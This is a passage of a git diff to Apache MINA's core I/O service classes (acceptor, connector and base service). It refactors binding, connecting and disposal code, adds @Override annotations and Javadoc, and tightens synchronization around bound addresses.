etc). Know implementations are org.apache.mina.transport.socket.nio -and org.apache.mina.transport.socket.apr. - - diff --git a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoAcceptor.java b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoAcceptor.java index 40196ec44a..30ef5fd225 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoAcceptor.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoAcceptor.java @@ -31,25 +31,24 @@ import java.util.concurrent.Executors; import org.apache.mina.core.RuntimeIoException; +import org.apache.mina.core.future.IoFuture; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.session.IoSessionConfig; - /** * A base implementation of {@link IoAcceptor}. * * @author Apache MINA Project * @org.apache.xbean.XBean */ -public abstract class AbstractIoAcceptor - extends AbstractIoService implements IoAcceptor { - - private final List defaultLocalAddresses = - new ArrayList(); - private final List unmodifiableDefaultLocalAddresses = - Collections.unmodifiableList(defaultLocalAddresses); - private final Set boundAddresses = - new HashSet(); +public abstract class AbstractIoAcceptor extends AbstractIoService implements IoAcceptor { + + private final List defaultLocalAddresses = new ArrayList<>(); + + private final List unmodifiableDefaultLocalAddresses = Collections + .unmodifiableList(defaultLocalAddresses); + + private final Set boundAddresses = new HashSet<>(); private boolean disconnectOnUnbind = true; @@ -65,8 +64,8 @@ public abstract class AbstractIoAcceptor * session configuration and an {@link Executor} for handling I/O events. If * null {@link Executor} is provided, a default one will be created using * {@link Executors#newCachedThreadPool()}. - * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} @@ -82,6 +81,7 @@ protected AbstractIoAcceptor(IoSessionConfig sessionConfig, Executor executor) { /** * {@inheritDoc} */ + @Override public SocketAddress getLocalAddress() { Set localAddresses = getLocalAddresses(); if (localAddresses.isEmpty()) { @@ -94,17 +94,21 @@ public SocketAddress getLocalAddress() { /** * {@inheritDoc} */ + @Override public final Set getLocalAddresses() { - Set localAddresses = new HashSet(); - synchronized (bindLock) { + Set localAddresses = new HashSet<>(); + + synchronized (boundAddresses) { localAddresses.addAll(boundAddresses); } + return localAddresses; } /** * {@inheritDoc} */ + @Override public SocketAddress getDefaultLocalAddress() { if (defaultLocalAddresses.isEmpty()) { return null; @@ -115,6 +119,7 @@ public SocketAddress getDefaultLocalAddress() { /** * {@inheritDoc} */ + @Override public final void setDefaultLocalAddress(SocketAddress localAddress) { setDefaultLocalAddresses(localAddress); } @@ -122,6 +127,7 @@ public final void setDefaultLocalAddress(SocketAddress localAddress) { /** * {@inheritDoc} */ + @Override public final List getDefaultLocalAddresses() { return unmodifiableDefaultLocalAddresses; } @@ -130,6 +136,7 @@ public final List getDefaultLocalAddresses() { * {@inheritDoc} * @org.apache.xbean.Property nestedType="java.net.SocketAddress" */ + @Override public final void setDefaultLocalAddresses(List localAddresses) { if (localAddresses == null) { throw new IllegalArgumentException("localAddresses"); @@ -140,30 +147,32 @@ public final void setDefaultLocalAddresses(List localAd /** * {@inheritDoc} */ + @Override public final void setDefaultLocalAddresses(Iterable localAddresses) { if (localAddresses == null) { throw new IllegalArgumentException("localAddresses"); } - + synchronized (bindLock) { - if (!boundAddresses.isEmpty()) { - throw new IllegalStateException( - "localAddress can't be set while the acceptor is bound."); - } + synchronized (boundAddresses) { + if (!boundAddresses.isEmpty()) { + throw new IllegalStateException("localAddress can't be set while the acceptor is bound."); + } - Collection newLocalAddresses = - new ArrayList(); - for (SocketAddress a: localAddresses) { - checkAddressType(a); - newLocalAddresses.add(a); - } - - if (newLocalAddresses.isEmpty()) { - throw new IllegalArgumentException("empty localAddresses"); + Collection newLocalAddresses = new ArrayList<>(); + + for (SocketAddress a : localAddresses) { + checkAddressType(a); + newLocalAddresses.add(a); + } + + if (newLocalAddresses.isEmpty()) { + throw new IllegalArgumentException("empty localAddresses"); + } + + this.defaultLocalAddresses.clear(); + this.defaultLocalAddresses.addAll(newLocalAddresses); } - - this.defaultLocalAddresses.clear(); - this.defaultLocalAddresses.addAll(newLocalAddresses); } } @@ -171,25 +180,27 @@ public final void setDefaultLocalAddresses(Iterable loc * {@inheritDoc} * @org.apache.xbean.Property nestedType="java.net.SocketAddress" */ + @Override public final void setDefaultLocalAddresses(SocketAddress firstLocalAddress, SocketAddress... otherLocalAddresses) { if (otherLocalAddresses == null) { otherLocalAddresses = new SocketAddress[0]; } - - Collection newLocalAddresses = - new ArrayList(otherLocalAddresses.length + 1); - + + Collection newLocalAddresses = new ArrayList<>(otherLocalAddresses.length + 1); + newLocalAddresses.add(firstLocalAddress); - for (SocketAddress a: otherLocalAddresses) { + + for (SocketAddress a : otherLocalAddresses) { newLocalAddresses.add(a); } - + setDefaultLocalAddresses(newLocalAddresses); } /** * {@inheritDoc} */ + @Override public final boolean isCloseOnDeactivation() { return disconnectOnUnbind; } @@ -197,6 +208,7 @@ public final boolean isCloseOnDeactivation() { /** * {@inheritDoc} */ + @Override public final void setCloseOnDeactivation(boolean disconnectClientsOnUnbind) { this.disconnectOnUnbind = disconnectClientsOnUnbind; } @@ -204,6 +216,7 @@ public final void setCloseOnDeactivation(boolean disconnectClientsOnUnbind) { /** * {@inheritDoc} */ + @Override public final void bind() throws IOException { bind(getDefaultLocalAddresses()); } @@ -211,33 +224,55 @@ public final void bind() throws IOException { /** * {@inheritDoc} */ + @Override public final void bind(SocketAddress localAddress) throws IOException { if (localAddress == null) { throw new IllegalArgumentException("localAddress"); } - - List localAddresses = new ArrayList(1); + + List localAddresses = new ArrayList<>(1); localAddresses.add(localAddress); bind(localAddresses); } + /** + * {@inheritDoc} + */ + @Override + public final void bind(SocketAddress... addresses) throws IOException { + if ((addresses == null) || (addresses.length == 0)) { + bind(getDefaultLocalAddresses()); + return; + } + + List localAddresses = new ArrayList<>(2); + + for (SocketAddress address : addresses) { + localAddresses.add(address); + } + + bind(localAddresses); + } /** * {@inheritDoc} */ - public final void bind(SocketAddress firstLocalAddress, SocketAddress... otherLocalAddresses) throws IOException { + @Override + public final void bind(SocketAddress firstLocalAddress, SocketAddress... addresses) throws IOException { if (firstLocalAddress == null) { bind(getDefaultLocalAddresses()); + } + + if ((addresses == null) || (addresses.length == 0)) { + bind(getDefaultLocalAddresses()); return; } - - List localAddresses = new ArrayList(2); + + List localAddresses = new ArrayList<>(2); localAddresses.add(firstLocalAddress); - if (otherLocalAddresses != null) { - for (SocketAddress address:otherLocalAddresses) { - localAddresses.add(address); - } + for (SocketAddress address : addresses) { + localAddresses.add(address); } bind(localAddresses); @@ -246,48 +281,52 @@ public final void bind(SocketAddress firstLocalAddress, SocketAddress... otherLo /** * {@inheritDoc} */ - public final void bind(Iterable localAddresses) throws IOException { + @Override +public final void bind(Iterable localAddresses) throws IOException { if (isDisposing()) { - throw new IllegalStateException("Already disposed."); + throw new IllegalStateException("The Accpetor disposed is being disposed."); } - + if (localAddresses == null) { throw new IllegalArgumentException("localAddresses"); } - - List localAddressesCopy = new ArrayList(); - - for (SocketAddress a: localAddresses) { + + List localAddressesCopy = new ArrayList<>(); + + for (SocketAddress a : localAddresses) { checkAddressType(a); localAddressesCopy.add(a); } - + if (localAddressesCopy.isEmpty()) { throw new IllegalArgumentException("localAddresses is empty."); } - + boolean activate = false; synchronized (bindLock) { - if (boundAddresses.isEmpty()) { - activate = true; + synchronized (boundAddresses) { + if (boundAddresses.isEmpty()) { + activate = true; + } } if (getHandler() == null) { throw new IllegalStateException("handler is not set."); } - + try { - boundAddresses.addAll(bindInternal(localAddressesCopy)); - } catch (IOException e) { - throw e; - } catch (RuntimeException e) { + Set addresses = bindInternal(localAddressesCopy); + + synchronized (boundAddresses) { + boundAddresses.addAll(addresses); + } + } catch (IOException | RuntimeException e) { throw e; - } catch (Throwable e) { - throw new RuntimeIoException( - "Failed to bind to: " + getLocalAddresses(), e); + } catch (Exception e) { + throw new RuntimeIoException("Failed to bind to: " + getLocalAddresses(), e); } } - + if (activate) { getListeners().fireServiceActivated(); } @@ -296,6 +335,7 @@ public final void bind(Iterable localAddresses) throws /** * {@inheritDoc} */ + @Override public final void unbind() { unbind(getLocalAddresses()); } @@ -303,12 +343,13 @@ public final void unbind() { /** * {@inheritDoc} */ + @Override public final void unbind(SocketAddress localAddress) { if (localAddress == null) { throw new IllegalArgumentException("localAddress"); } - - List localAddresses = new ArrayList(1); + + List localAddresses = new ArrayList<>(1); localAddresses.add(localAddress); unbind(localAddresses); } @@ -316,16 +357,16 @@ public final void unbind(SocketAddress localAddress) { /** * {@inheritDoc} */ - public final void unbind(SocketAddress firstLocalAddress, - SocketAddress... otherLocalAddresses) { + @Override + public final void unbind(SocketAddress firstLocalAddress, SocketAddress... otherLocalAddresses) { if (firstLocalAddress == null) { throw new IllegalArgumentException("firstLocalAddress"); } if (otherLocalAddresses == null) { throw new IllegalArgumentException("otherLocalAddresses"); } - - List localAddresses = new ArrayList(); + + List localAddresses = new ArrayList<>(); localAddresses.add(firstLocalAddress); Collections.addAll(localAddresses, otherLocalAddresses); unbind(localAddresses); @@ -334,42 +375,48 @@ public final void unbind(SocketAddress firstLocalAddress, /** * {@inheritDoc} */ + @Override public final void unbind(Iterable localAddresses) { if (localAddresses == null) { throw new IllegalArgumentException("localAddresses"); } - + boolean deactivate = false; synchronized (bindLock) { - if (boundAddresses.isEmpty()) { - return; - } + synchronized (boundAddresses) { + if (boundAddresses.isEmpty()) { + return; + } + + List localAddressesCopy = new ArrayList<>(); + int specifiedAddressCount = 0; + + for (SocketAddress a : localAddresses) { + specifiedAddressCount++; - List localAddressesCopy = new ArrayList(); - int specifiedAddressCount = 0; - for (SocketAddress a: localAddresses) { - specifiedAddressCount ++; - if (a != null && boundAddresses.contains(a)) { - localAddressesCopy.add(a); + if ((a != null) && boundAddresses.contains(a)) { + localAddressesCopy.add(a); + } } - } - if (specifiedAddressCount == 0) { - throw new IllegalArgumentException("localAddresses is empty."); - } - - if (!localAddressesCopy.isEmpty()) { - try { - unbind0(localAddressesCopy); - } catch (RuntimeException e) { - throw e; - } catch (Throwable e) { - throw new RuntimeIoException( - "Failed to unbind from: " + getLocalAddresses(), e); + + if (specifiedAddressCount == 0) { + throw new IllegalArgumentException("localAddresses is empty."); } - - boundAddresses.removeAll(localAddressesCopy); - if (boundAddresses.isEmpty()) { - deactivate = true; + + if (!localAddressesCopy.isEmpty()) { + try { + unbind0(localAddressesCopy); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeIoException("Failed to unbind from: " + getLocalAddresses(), e); + } + + boundAddresses.removeAll(localAddressesCopy); + + if (boundAddresses.isEmpty()) { + deactivate = true; + } } } } @@ -381,70 +428,85 @@ public final void unbind(Iterable localAddresses) { /** * Starts the acceptor, and register the given addresses + * + * @param localAddresses The address to bind to * @return the {@link Set} of the local addresses which is bound actually + * @throws Exception If the bind failed */ - protected abstract Set bindInternal( - List localAddresses) throws Exception; + protected abstract Set bindInternal(List localAddresses) throws Exception; /** * Implement this method to perform the actual unbind operation. + * + * @param localAddresses The address to unbind from + * @throws Exception If the unbind failed */ - protected abstract void unbind0( - List localAddresses) throws Exception; - + protected abstract void unbind0(List localAddresses) throws Exception; + @Override public String toString() { TransportMetadata m = getTransportMetadata(); - return '(' + m.getProviderName() + ' ' + m.getName() + " acceptor: " + - (isActive()? - "localAddress(es): " + getLocalAddresses() + - ", managedSessionCount: " + getManagedSessionCount() : - "not bound") + ')'; + return '(' + + m.getProviderName() + + ' ' + + m.getName() + + " acceptor: " + + (isActive() ? "localAddress(es): " + getLocalAddresses() + ", managedSessionCount: " + + getManagedSessionCount() : "not bound") + ')'; } private void checkAddressType(SocketAddress a) { - if (a != null && - !getTransportMetadata().getAddressType().isAssignableFrom( - a.getClass())) { - throw new IllegalArgumentException("localAddress type: " - + a.getClass().getSimpleName() + " (expected: " + if (a != null && !getTransportMetadata().getAddressType().isAssignableFrom(a.getClass())) { + throw new IllegalArgumentException("localAddress type: " + a.getClass().getSimpleName() + " (expected: " + getTransportMetadata().getAddressType().getSimpleName() + ")"); } } - + + /** + * A {@link IoFuture} + */ public static class AcceptorOperationFuture extends ServiceOperationFuture { private final List localAddresses; - + + /** + * Creates a new AcceptorOperationFuture instance + * + * @param localAddresses The list of local addresses to listen to + */ public AcceptorOperationFuture(List localAddresses) { - this.localAddresses = new ArrayList(localAddresses); + this.localAddresses = new ArrayList<>(localAddresses); } - + + /** + * @return The list of local addresses we listen to + */ public final List getLocalAddresses() { return Collections.unmodifiableList(localAddresses); } - + /** * @see Object#toString() */ + @Override public String toString() { StringBuilder sb = new StringBuilder(); - - sb.append( "Acceptor operation : " ); - + + sb.append("Acceptor operation : "); + if (localAddresses != null) { boolean isFirst = true; - - for (SocketAddress address:localAddresses) { + + for (SocketAddress address : localAddresses) { if (isFirst) { isFirst = false; } else { sb.append(", "); } - + sb.append(address); } } - return sb.toString(); + return sb.toString(); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoConnector.java b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoConnector.java index 467d76dfdb..2276f1b26f 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoConnector.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoConnector.java @@ -30,28 +30,34 @@ import org.apache.mina.core.session.IoSession; import org.apache.mina.core.session.IoSessionConfig; import org.apache.mina.core.session.IoSessionInitializer; +import org.apache.mina.filter.FilterEvent; /** * A base implementation of {@link IoConnector}. * * @author Apache MINA Project */ -public abstract class AbstractIoConnector - extends AbstractIoService implements IoConnector { +public abstract class AbstractIoConnector extends AbstractIoService implements IoConnector { /** * The minimum timeout value that is supported (in milliseconds). */ private long connectTimeoutCheckInterval = 50L; + private long connectTimeoutInMillis = 60 * 1000L; // 1 minute by default + + /** The remote address we are connected to */ private SocketAddress defaultRemoteAddress; + /** The local address */ + private SocketAddress defaultLocalAddress; + /** - * Constructor for {@link AbstractIoConnector}. You need to provide a default - * session configuration and an {@link Executor} for handling I/O events. If - * null {@link Executor} is provided, a default one will be created using - * {@link Executors#newCachedThreadPool()}. - * - * {@see AbstractIoService#AbstractIoService(IoSessionConfig, Executor)} + * Constructor for {@link AbstractIoConnector}. You need to provide a + * default session configuration and an {@link Executor} for handling I/O + * events. If null {@link Executor} is provided, a default one will be + * created using {@link Executors#newCachedThreadPool()}. + * + * @see AbstractIoService#AbstractIoService(IoSessionConfig, Executor) * * @param sessionConfig * the default configuration for the managed {@link IoSession} @@ -64,9 +70,7 @@ protected AbstractIoConnector(IoSessionConfig sessionConfig, Executor executor) } /** - * Returns the minimum connection timeout value for this connector - * - * @return + * @return * The minimum time that this connector can have for a connection * timeout in milliseconds. */ @@ -74,42 +78,52 @@ public long getConnectTimeoutCheckInterval() { return connectTimeoutCheckInterval; } + /** + * Sets the timeout for the connection check + * + * @param minimumConnectTimeout The delay we wait before checking the connection + */ public void setConnectTimeoutCheckInterval(long minimumConnectTimeout) { - if( getConnectTimeoutMillis() < minimumConnectTimeout ){ + if (getConnectTimeoutMillis() < minimumConnectTimeout) { this.connectTimeoutInMillis = minimumConnectTimeout; } - + this.connectTimeoutCheckInterval = minimumConnectTimeout; } /** - * @deprecated - * Take a look at getConnectTimeoutMillis() + * @deprecated Take a look at getConnectTimeoutMillis() */ + @Deprecated + @Override public final int getConnectTimeout() { - return (int)connectTimeoutInMillis/1000; + return (int) connectTimeoutInMillis / 1000; } /** * {@inheritDoc} */ + @Override public final long getConnectTimeoutMillis() { return connectTimeoutInMillis; } /** * @deprecated - * Take a look at setConnectTimeoutMillis(long) + * Take a look at setConnectTimeoutMillis(long) */ + @Deprecated + @Override public final void setConnectTimeout(int connectTimeout) { - - setConnectTimeoutMillis( connectTimeout * 1000L ); + + setConnectTimeoutMillis(connectTimeout * 1000L); } - + /** * Sets the connect timeout value in milliseconds. * */ + @Override public final void setConnectTimeoutMillis(long connectTimeoutInMillis) { if (connectTimeoutInMillis <= connectTimeoutCheckInterval) { this.connectTimeoutCheckInterval = connectTimeoutInMillis; @@ -120,6 +134,7 @@ public final void setConnectTimeoutMillis(long connectTimeoutInMillis) { /** * {@inheritDoc} */ + @Override public SocketAddress getDefaultRemoteAddress() { return defaultRemoteAddress; } @@ -127,130 +142,184 @@ public SocketAddress getDefaultRemoteAddress() { /** * {@inheritDoc} */ + @Override + public final void setDefaultLocalAddress(SocketAddress localAddress) { + defaultLocalAddress = localAddress; + } + + /** + * {@inheritDoc} + */ + @Override + public final SocketAddress getDefaultLocalAddress() { + return defaultLocalAddress; + } + + /** + * {@inheritDoc} + */ + @Override public final void setDefaultRemoteAddress(SocketAddress defaultRemoteAddress) { if (defaultRemoteAddress == null) { throw new IllegalArgumentException("defaultRemoteAddress"); } - - if (!getTransportMetadata().getAddressType().isAssignableFrom( - defaultRemoteAddress.getClass())) { - throw new IllegalArgumentException("defaultRemoteAddress type: " - + defaultRemoteAddress.getClass() + " (expected: " - + getTransportMetadata().getAddressType() + ")"); + + if (!getTransportMetadata().getAddressType().isAssignableFrom(defaultRemoteAddress.getClass())) { + throw new IllegalArgumentException("defaultRemoteAddress type: " + defaultRemoteAddress.getClass() + + " (expected: " + getTransportMetadata().getAddressType() + ")"); } this.defaultRemoteAddress = defaultRemoteAddress; } - + /** * {@inheritDoc} */ + @Override public final ConnectFuture connect() { - SocketAddress defaultRemoteAddress = getDefaultRemoteAddress(); - if (defaultRemoteAddress == null) { + SocketAddress remoteAddress = getDefaultRemoteAddress(); + + if (remoteAddress == null) { throw new IllegalStateException("defaultRemoteAddress is not set."); } - - return connect(defaultRemoteAddress, null, null); + + return connect(remoteAddress, null, null); } - + /** * {@inheritDoc} */ + @Override public ConnectFuture connect(IoSessionInitializer sessionInitializer) { - SocketAddress defaultRemoteAddress = getDefaultRemoteAddress(); - if (defaultRemoteAddress == null) { + SocketAddress remoteAddress = getDefaultRemoteAddress(); + + if (remoteAddress == null) { throw new IllegalStateException("defaultRemoteAddress is not set."); } - - return connect(defaultRemoteAddress, null, sessionInitializer); + + return connect(remoteAddress, null, sessionInitializer); } /** * {@inheritDoc} */ + @Override public final ConnectFuture connect(SocketAddress remoteAddress) { return connect(remoteAddress, null, null); } - + /** * {@inheritDoc} */ + @Override public ConnectFuture connect(SocketAddress remoteAddress, IoSessionInitializer sessionInitializer) { return connect(remoteAddress, null, sessionInitializer); } - + /** * {@inheritDoc} */ - public ConnectFuture connect(SocketAddress remoteAddress, - SocketAddress localAddress) { + @Override + public ConnectFuture connect(SocketAddress remoteAddress, SocketAddress localAddress) { return connect(remoteAddress, localAddress, null); } /** * {@inheritDoc} */ - public final ConnectFuture connect(SocketAddress remoteAddress, - SocketAddress localAddress, IoSessionInitializer sessionInitializer) { + @Override + public final ConnectFuture connect(SocketAddress remoteAddress, SocketAddress localAddress, + IoSessionInitializer sessionInitializer) { if (isDisposing()) { - throw new IllegalStateException("The connector has been disposed."); + throw new IllegalStateException("The connector is being disposed."); } if (remoteAddress == null) { throw new IllegalArgumentException("remoteAddress"); } - if (!getTransportMetadata().getAddressType().isAssignableFrom( - remoteAddress.getClass())) { - throw new IllegalArgumentException("remoteAddress type: " - + remoteAddress.getClass() + " (expected: " + if (!getTransportMetadata().getAddressType().isAssignableFrom(remoteAddress.getClass())) { + throw new IllegalArgumentException("remoteAddress type: " + remoteAddress.getClass() + " (expected: " + getTransportMetadata().getAddressType() + ")"); } - if (localAddress != null - && !getTransportMetadata().getAddressType().isAssignableFrom( - localAddress.getClass())) { - throw new IllegalArgumentException("localAddress type: " - + localAddress.getClass() + " (expected: " + if (localAddress != null && !getTransportMetadata().getAddressType().isAssignableFrom(localAddress.getClass())) { + throw new IllegalArgumentException("localAddress type: " + localAddress.getClass() + " (expected: " + getTransportMetadata().getAddressType() + ")"); } if (getHandler() == null) { if (getSessionConfig().isUseReadOperation()) { setHandler(new IoHandler() { - public void exceptionCaught(IoSession session, - Throwable cause) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { // Empty handler } - public void messageReceived(IoSession session, - Object message) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { // Empty handler } - public void messageSent(IoSession session, Object message) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void messageSent(IoSession session, Object message) throws Exception { // Empty handler } - public void sessionClosed(IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { // Empty handler } - public void sessionCreated(IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { // Empty handler } - public void sessionIdle(IoSession session, IdleStatus status) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { // Empty handler } - public void sessionOpened(IoSession session) - throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void sessionOpened(IoSession session) throws Exception { + // Empty handler + } + + /** + * {@inheritDoc} + */ + @Override + public void inputClosed(IoSession session) throws Exception { + // Empty handler + } + + /** + * {@inheritDoc} + */ + @Override + public void event(IoSession session, FilterEvent event) throws Exception { // Empty handler } }); @@ -265,40 +334,45 @@ public void sessionOpened(IoSession session) /** * Implement this method to perform the actual connect operation. * - * @param localAddress null if no local address is specified + * @param remoteAddress The remote address to connect from + * @param localAddress null if no local address is specified + * @param sessionInitializer The IoSessionInitializer to use when the connection s successful + * @return The ConnectFuture associated with this asynchronous operation + * */ - protected abstract ConnectFuture connect0(SocketAddress remoteAddress, - SocketAddress localAddress, IoSessionInitializer sessionInitializer); + protected abstract ConnectFuture connect0(SocketAddress remoteAddress, SocketAddress localAddress, + IoSessionInitializer sessionInitializer); /** * Adds required internal attributes and {@link IoFutureListener}s * related with event notifications to the specified {@code session} * and {@code future}. Do not call this method directly; - * {@link #finishSessionInitialization(IoSession, IoFuture, IoSessionInitializer)} - * will call this method instead. */ @Override - protected final void finishSessionInitialization0( - final IoSession session, IoFuture future) { + protected final void finishSessionInitialization0(final IoSession session, IoFuture future) { // In case that ConnectFuture.cancel() is invoked before // setSession() is invoked, add a listener that closes the // connection immediately on cancellation. future.addListener(new IoFutureListener() { + /** + * {@inheritDoc} + */ + @Override public void operationComplete(ConnectFuture future) { if (future.isCanceled()) { - session.close(true); + session.closeNow(); } } }); } - + /** * {@inheritDoc} */ @Override public String toString() { TransportMetadata m = getTransportMetadata(); - return '(' + m.getProviderName() + ' ' + m.getName() + " connector: " + - "managedSessionCount: " + getManagedSessionCount() + ')'; + return '(' + m.getProviderName() + ' ' + m.getName() + " connector: " + "managedSessionCount: " + + getManagedSessionCount() + ')'; } } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoService.java b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoService.java index 33f2593f68..3aad5534c1 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoService.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/AbstractIoService.java @@ -61,16 +61,17 @@ */ public abstract class AbstractIoService implements IoService { - private static final Logger LOGGER = LoggerFactory.getLogger(AbstractIoService.class); - /** + protected static final Logger LOGGER = LoggerFactory.getLogger(AbstractIoService.class); + + /** * The unique number identifying the Service. It's incremented * for each new IoService created. */ private static final AtomicInteger id = new AtomicInteger(); - /** - * The thread name built from the IoService inherited - * instance class name and the IoService Id + /** + * The thread name built from the IoService inherited + * instance class name and the IoService Id **/ private final String threadName; @@ -89,39 +90,67 @@ public abstract class AbstractIoService implements IoService { private final boolean createdExecutor; /** - * The IoHandler in charge of managing all the I/O Events. It is + * The IoHandler in charge of managing all the I/O Events. It is */ private IoHandler handler; /** * The default {@link IoSessionConfig} which will be used to configure new sessions. */ - private final IoSessionConfig sessionConfig; + protected final IoSessionConfig sessionConfig; private final IoServiceListener serviceActivationListener = new IoServiceListener() { + IoServiceStatistics serviceStats; + + /** + * {@inheritDoc} + */ + @Override public void serviceActivated(IoService service) { // Update lastIoTime. - AbstractIoService s = (AbstractIoService) service; - IoServiceStatistics _stats = s.getStatistics(); - _stats.setLastReadTime(s.getActivationTime()); - _stats.setLastWriteTime(s.getActivationTime()); - _stats.setLastThroughputCalculationTime(s.getActivationTime()); + serviceStats = service.getStatistics(); + serviceStats.setLastReadTime(service.getActivationTime()); + serviceStats.setLastWriteTime(service.getActivationTime()); + serviceStats.setLastThroughputCalculationTime(service.getActivationTime()); + } + /** + * {@inheritDoc} + */ + @Override + public void serviceDeactivated(IoService service) throws Exception { + // Empty handler } - public void serviceDeactivated(IoService service) { + /** + * {@inheritDoc} + */ + @Override + public void serviceIdle(IoService service, IdleStatus idleStatus) throws Exception { // Empty handler } - public void serviceIdle(IoService service, IdleStatus idleStatus) { + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { // Empty handler } - public void sessionCreated(IoSession session) { + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { // Empty handler } - public void sessionDestroyed(IoSession session) { + /** + * {@inheritDoc} + */ + @Override + public void sessionDestroyed(IoSession session) throws Exception { // Empty handler } }; @@ -148,11 +177,7 @@ public void sessionDestroyed(IoSession session) { private volatile boolean disposed; - /** - * {@inheritDoc} - */ - private IoServiceStatistics stats = new IoServiceStatistics(this); - + private final IoServiceStatistics stats = new IoServiceStatistics(this); /** * Constructor for {@link AbstractIoService}. You need to provide a default @@ -175,10 +200,8 @@ protected AbstractIoService(IoSessionConfig sessionConfig, Executor executor) { throw new IllegalArgumentException("TransportMetadata"); } - if (!getTransportMetadata().getSessionConfigType().isAssignableFrom( - sessionConfig.getClass())) { - throw new IllegalArgumentException("sessionConfig type: " - + sessionConfig.getClass() + " (expected: " + if (!getTransportMetadata().getSessionConfigType().isAssignableFrom(sessionConfig.getClass())) { + throw new IllegalArgumentException("sessionConfig type: " + sessionConfig.getClass() + " (expected: " + getTransportMetadata().getSessionConfigType() + ")"); } @@ -208,6 +231,7 @@ protected AbstractIoService(IoSessionConfig sessionConfig, Executor executor) { /** * {@inheritDoc} */ + @Override public final IoFilterChainBuilder getFilterChainBuilder() { return filterChainBuilder; } @@ -215,29 +239,31 @@ public final IoFilterChainBuilder getFilterChainBuilder() { /** * {@inheritDoc} */ + @Override public final void setFilterChainBuilder(IoFilterChainBuilder builder) { if (builder == null) { - builder = new DefaultIoFilterChainBuilder(); + filterChainBuilder = new DefaultIoFilterChainBuilder(); + } else { + filterChainBuilder = builder; } - filterChainBuilder = builder; } /** * {@inheritDoc} */ + @Override public final DefaultIoFilterChainBuilder getFilterChain() { if (filterChainBuilder instanceof DefaultIoFilterChainBuilder) { return (DefaultIoFilterChainBuilder) filterChainBuilder; } - - - throw new IllegalStateException( - "Current filter chain builder is not a DefaultIoFilterChainBuilder."); + + throw new IllegalStateException("Current filter chain builder is not a DefaultIoFilterChainBuilder."); } /** * {@inheritDoc} */ + @Override public final void addListener(IoServiceListener listener) { listeners.add(listener); } @@ -245,6 +271,7 @@ public final void addListener(IoServiceListener listener) { /** * {@inheritDoc} */ + @Override public final void removeListener(IoServiceListener listener) { listeners.remove(listener); } @@ -252,6 +279,7 @@ public final void removeListener(IoServiceListener listener) { /** * {@inheritDoc} */ + @Override public final boolean isActive() { return listeners.isActive(); } @@ -259,6 +287,7 @@ public final boolean isActive() { /** * {@inheritDoc} */ + @Override public final boolean isDisposing() { return disposing; } @@ -266,6 +295,7 @@ public final boolean isDisposing() { /** * {@inheritDoc} */ + @Override public final boolean isDisposed() { return disposed; } @@ -273,60 +303,69 @@ public final boolean isDisposed() { /** * {@inheritDoc} */ + @Override public final void dispose() { - dispose(false); + dispose(false); } - /** - * {@inheritDoc} - */ + /** + * {@inheritDoc} + */ + @Override public final void dispose(boolean awaitTermination) { - if (disposed) { - return; - } - - synchronized (disposalLock) { - if (!disposing) { - disposing = true; - - try { - dispose0(); - } catch (Exception e) { - ExceptionMonitor.getInstance().exceptionCaught(e); - } - } - } - - if (createdExecutor) { - ExecutorService e = (ExecutorService) executor; - e.shutdownNow(); - if (awaitTermination) { - - //Thread.currentThread().setName(); - - try { - LOGGER.debug("awaitTermination on {} called by thread=[{}]", this, Thread.currentThread().getName()); - e.awaitTermination(Integer.MAX_VALUE, TimeUnit.SECONDS); - LOGGER.debug("awaitTermination on {} finished", this); - } catch (InterruptedException e1) { - LOGGER.warn("awaitTermination on [{}] was interrupted", this); - // Restore the interrupted status - Thread.currentThread().interrupt(); + if (disposed) { + return; + } + + synchronized (disposalLock) { + if (!disposing) { + disposing = true; + + try { + dispose0(); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); + } + } + } + + if (createdExecutor) { + ExecutorService e = (ExecutorService) executor; + e.shutdownNow(); + if (awaitTermination) { + + try { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("awaitTermination on {} called by thread=[{}]", this, Thread.currentThread().getName()); + } + + e.awaitTermination(Integer.MAX_VALUE, TimeUnit.SECONDS); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("awaitTermination on {} finished", this); + } + } catch (InterruptedException e1) { + LOGGER.warn("awaitTermination on [{}] was interrupted", this); + // Restore the interrupted status + Thread.currentThread().interrupt(); + } } - } - } - disposed = true; + } + disposed = true; } /** * Implement this method to release any acquired resources. This method * is invoked only once by {@link #dispose()}. + * + * @throws Exception If the dispose failed */ protected abstract void dispose0() throws Exception; /** * {@inheritDoc} */ + @Override public final Map getManagedSessions() { return listeners.getManagedSessions(); } @@ -334,6 +373,7 @@ public final Map getManagedSessions() { /** * {@inheritDoc} */ + @Override public final int getManagedSessionCount() { return listeners.getManagedSessionCount(); } @@ -341,6 +381,7 